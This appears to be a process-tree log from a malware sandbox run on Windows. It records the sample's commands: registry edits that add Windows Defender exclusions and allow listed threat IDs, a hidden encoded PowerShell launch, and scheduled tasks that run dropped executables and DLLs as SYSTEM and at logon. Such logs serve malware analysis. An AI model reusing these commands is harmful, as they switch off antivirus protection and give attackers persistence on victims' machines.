C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\otlZYwPmfIE" /t REG_DWORD /d 0 /reg:324⤵PID:11220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\otlZYwPmfIE" /t REG_DWORD /d 0 /reg:644⤵PID:800
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\achrhaRRbsGknaVB /t REG_DWORD /d 0 /reg:324⤵PID:10520
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\achrhaRRbsGknaVB /t REG_DWORD /d 0 /reg:644⤵PID:4536
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn /t REG_DWORD /d 0 /reg:324⤵PID:10268
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\LocalLow\hnfSyQJANMfJn /t REG_DWORD /d 0 /reg:644⤵PID:8776
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO /t REG_DWORD /d 0 /reg:324⤵PID:5764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO /t REG_DWORD /d 0 /reg:644⤵PID:9352
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ptSbhgFrGptQLEdh /t REG_DWORD /d 0 /reg:324⤵PID:9464
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ptSbhgFrGptQLEdh /t REG_DWORD /d 0 /reg:644⤵PID:7704
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gtuXdLMZr" /SC once /ST 01:43:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:4604
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gtuXdLMZr"3⤵PID:7264
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gtuXdLMZr"3⤵PID:10772
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XLSdpNNRbetBaQhWL" /SC once /ST 12:57:21 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\fuRiwij.exe\" 7b /site_id 754 /S" /V1 /F3⤵
- Creates scheduled task(s)
PID:4120
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "XLSdpNNRbetBaQhWL"3⤵PID:11168
-
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exe 9n /site_id 754 /S2⤵PID:7108
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"3⤵PID:5300
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:10936
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:325⤵PID:10232
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:644⤵PID:5572
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:324⤵PID:9012
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:644⤵PID:4676
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:324⤵PID:10196
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:644⤵PID:10808
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:324⤵PID:7304
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:644⤵PID:9500
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:324⤵PID:2008
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:644⤵PID:10804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:324⤵PID:7648
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:644⤵PID:7424
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:324⤵PID:10480
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:644⤵PID:10080
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:324⤵PID:6436
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:644⤵PID:7624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:324⤵PID:7756
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:644⤵
- Modifies registry class
PID:7224
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:324⤵PID:11148
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:644⤵PID:7540
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XLSdpNNRbetBaQhWL" /SC once /ST 01:20:13 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\dhvXyte.exe\" 7b /site_id 754 /S" /V1 /F3⤵
- Creates scheduled task(s)
PID:10024
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "XLSdpNNRbetBaQhWL"3⤵PID:11204
-
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exe 9n /site_id 754 /S2⤵PID:4484
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"3⤵PID:11192
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:6380
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:325⤵PID:10856
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:644⤵PID:8956
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:324⤵PID:9164
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:644⤵PID:6084
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:324⤵PID:2584
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:644⤵PID:5896
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:324⤵PID:1044
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:644⤵PID:10956
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:324⤵PID:9664
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:644⤵PID:5504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:324⤵PID:8008
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:644⤵PID:6560
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:324⤵PID:8848
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:644⤵PID:10672
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:324⤵PID:5416
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:644⤵PID:736
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:324⤵PID:7308
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:644⤵PID:7220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:324⤵PID:8732
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:644⤵PID:10680
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XLSdpNNRbetBaQhWL" /SC once /ST 08:59:42 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\CBgReeE.exe\" 7b /site_id 754 /S" /V1 /F3⤵
- Creates scheduled task(s)
PID:8840
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "XLSdpNNRbetBaQhWL"3⤵PID:7044
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵PID:7784
-
-
C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\fuRiwij.exeC:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\fuRiwij.exe 7b /site_id 754 /S2⤵PID:3668
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bmIXAqnwlcZKDlfrrr"3⤵PID:9680
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:10556
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:10904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:7956
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵PID:10716
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TZXwQNgcU\lTbzie.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NzcAGdTAXLwThnE" /V1 /F3⤵
- Creates scheduled task(s)
PID:7388
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NzcAGdTAXLwThnE2" /F /xml "C:\Program Files (x86)\TZXwQNgcU\OFWHovl.xml" /RU "SYSTEM"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Creates scheduled task(s)
- Suspicious use of SetWindowsHookEx
PID:6728
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NzcAGdTAXLwThnE"3⤵PID:8096
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NzcAGdTAXLwThnE"3⤵PID:8168
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "KZNhLgVclRIcrY" /F /xml "C:\Program Files (x86)\nZosbjLfGLdU2\uMGuoFi.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:10032
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UgXiIzMCLiXbI2" /F /xml "C:\ProgramData\achrhaRRbsGknaVB\MfDLRYz.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:10428
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NlpgMlJPLJUUIQgya2" /F /xml "C:\Program Files (x86)\ogqTxBaMVNngTiWEorR\pVhIYpX.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:7824
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RrbJEmJiwUZfNkwHAcI2" /F /xml "C:\Program Files (x86)\EvBjrtBtUyzDC\RHsxJUL.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
PID:8568
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "mKAnOptukZFflVQii" /SC once /ST 17:41:37 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ptSbhgFrGptQLEdh\wCODRKVw\OtNquBY.dll\",#1 /site_id 754" /V1 /F3⤵
- Creates scheduled task(s)
PID:11056
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "mKAnOptukZFflVQii"3⤵PID:10212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "spuvGYETHMgh" /SC once /ST 07:44:34 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\gJMlztcE\yfVHsCw.exe\" wv /S"3⤵
- Creates scheduled task(s)
PID:4136
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "spuvGYETHMgh"3⤵PID:6164
-
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\ptSbhgFrGptQLEdh\wCODRKVw\OtNquBY.dll",#1 /site_id 7542⤵PID:9344
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\ptSbhgFrGptQLEdh\wCODRKVw\OtNquBY.dll",#1 /site_id 7543⤵PID:7132
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "mKAnOptukZFflVQii"4⤵PID:8916
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\gJMlztcE\yfVHsCw.exeC:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\gJMlztcE\yfVHsCw.exe wv /S2⤵PID:8904
-
-
C:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\dhvXyte.exeC:\Windows\Temp\ptSbhgFrGptQLEdh\ieZzhueEAarlgmG\dhvXyte.exe 7b /site_id 754 /S2⤵PID:10792
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bmIXAqnwlcZKDlfrrr"3⤵PID:9712
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:10620
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵PID:3100
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:7504
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵PID:8860
-
-
-
